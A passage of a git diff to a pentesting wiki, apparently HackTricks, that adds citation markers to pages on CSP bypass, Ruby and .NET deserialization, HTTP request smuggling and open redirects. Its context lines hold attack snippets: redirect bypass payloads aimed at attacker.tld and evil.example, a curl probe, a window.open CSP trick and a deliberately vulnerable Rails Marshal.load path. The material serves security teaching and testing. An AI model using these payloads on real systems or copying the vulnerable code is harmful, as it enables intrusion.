inside a CSP to execute arbitrary JS code bypassing the CSP:[[9]](#references) +According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:[[9]](#references)[[35]](#references) ```html
&A=1&A=2&...&A=1000" ### Rewrite Error Page -From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.[[30]](#references) +From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.[[30]](#references)[[34]](#references) ```javascript a = window.open("/" + "x".repeat(4100)) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 0c340cca5c0..02a1265273b 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -920,7 +920,7 @@ See [Windows Local Privilege Escalation – WSUS](../../windows-hardening/window To mitigate the risks associated with deserialization in .Net:[[23]](#references) -- **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible. +- **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible.[[41]](#references) - **For `JSON.Net`, set `TypeNameHandling` to `None`:** `TypeNameHandling = TypeNameHandling.None` - **Avoid using `JavaScriptSerializer` with a `JavaScriptTypeResolver`.** - **Limit the types that can be deserialized**, understanding the inherent risks with .Net types, such as `System.IO.FileInfo`, which can modify server files' properties, potentially leading to denial of service attacks. @@ -934,7 +934,7 @@ To mitigate the risks associated with deserialization in .Net:[[23]](#refer In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization. -For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations: +For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:[[43]](#references) - `config/environment.rb` - `config/initializers/secret_token.rb` @@ -1175,7 +1175,7 @@ Using the arbitrary file write vulnerability, the attacker writes the crafted ca Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.[[35]](#references) -- Minimal vulnerable Rails code path: +- Minimal vulnerable Rails code path:[[44]](#references) ```ruby @@ -1192,7 +1192,7 @@ class UserRestoreController < ApplicationController end ``` -- Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.[[37]](#references) +- Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.[[37]](#references)[[46]](#references) - Typical side-effect marker embedded in payloads (executed during unmarshal): ``` @@ -1200,14 +1200,14 @@ end ``` Where it surfaces in real apps: -- Rails cache stores and session stores historically using Marshal +- Rails cache stores and session stores historically using Marshal[[42]](#references) - Background job backends and file-backed object stores - Any custom persistence or transport of binary object blobs Industrialized gadget discovery: - Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal[[38]](#references) - Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets[[39]](#references) -- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)[[40]](#references) +- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)[[40]](#references)[[45]](#references) ## References diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 759e96debd5..629d0d45a86 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -25,7 +25,7 @@ This allows a user to **modify the next request that arrives to the back-end ser ### Reality -The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.\ +The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.[[4]](#references)\ This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**. ### Particularities @@ -69,7 +69,7 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End) -- **Front-End (CL):** Processes the request based on the `Content-Length` header. +- **Front-End (CL):** Processes the request based on the `Content-Length` header.[[6]](#references) - **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header. - **Attack Scenario:** @@ -870,7 +870,7 @@ For full response-side variants, content-confusion chains, and cache-poisoning e browser-http-request-smuggling.md {{#endref}} -- Request Smuggling in HTTP/2 Downgrades +- Request Smuggling in HTTP/2 Downgrades[[7]](#references) {{#ref}} diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 39dc7563e00..ae199479357 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -12,9 +12,9 @@ - IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] - Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1. - Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1. -- Network-path references often bypass naive validators that prepend a scheme or only check prefixes: +- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:[[5]](#references) - //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme. -- Userinfo tricks defeat contains/startswith checks against trusted hosts: +- Userinfo tricks defeat contains/startswith checks against trusted hosts:[[4]](#references) - https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld. - Backslash parsing confusion between frameworks/browsers: - https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches. @@ -229,7 +229,7 @@ exit; curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" ``` -- Discover and fuzz likely parameters at scale: +- Discover and fuzz likely parameters at scale:[[3]](#references)
Click to expand @@ -257,7 +257,7 @@ awk '/30[1237]|Location:/I' results.txt rg -n "location\.(assign|replace|href)|window\.open|history\.(pushState|replaceState)|redirect(To)?|returnUrl|return_to|continue|next=" dist/ build/ static/ src/ ``` -- Don’t forget client-side sinks in SPAs: look for `hashchange`, `postMessage`, `window.location/assign/replace`, and framework helpers that read query/hash and redirect. +- Don’t forget client-side sinks in SPAs: look for `hashchange`, `postMessage`, `window.location/assign/replace`, and framework helpers that read query/hash and redirect.[[7]](#references) - Frameworks often introduce footguns when redirect destinations are derived from untrusted input (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input.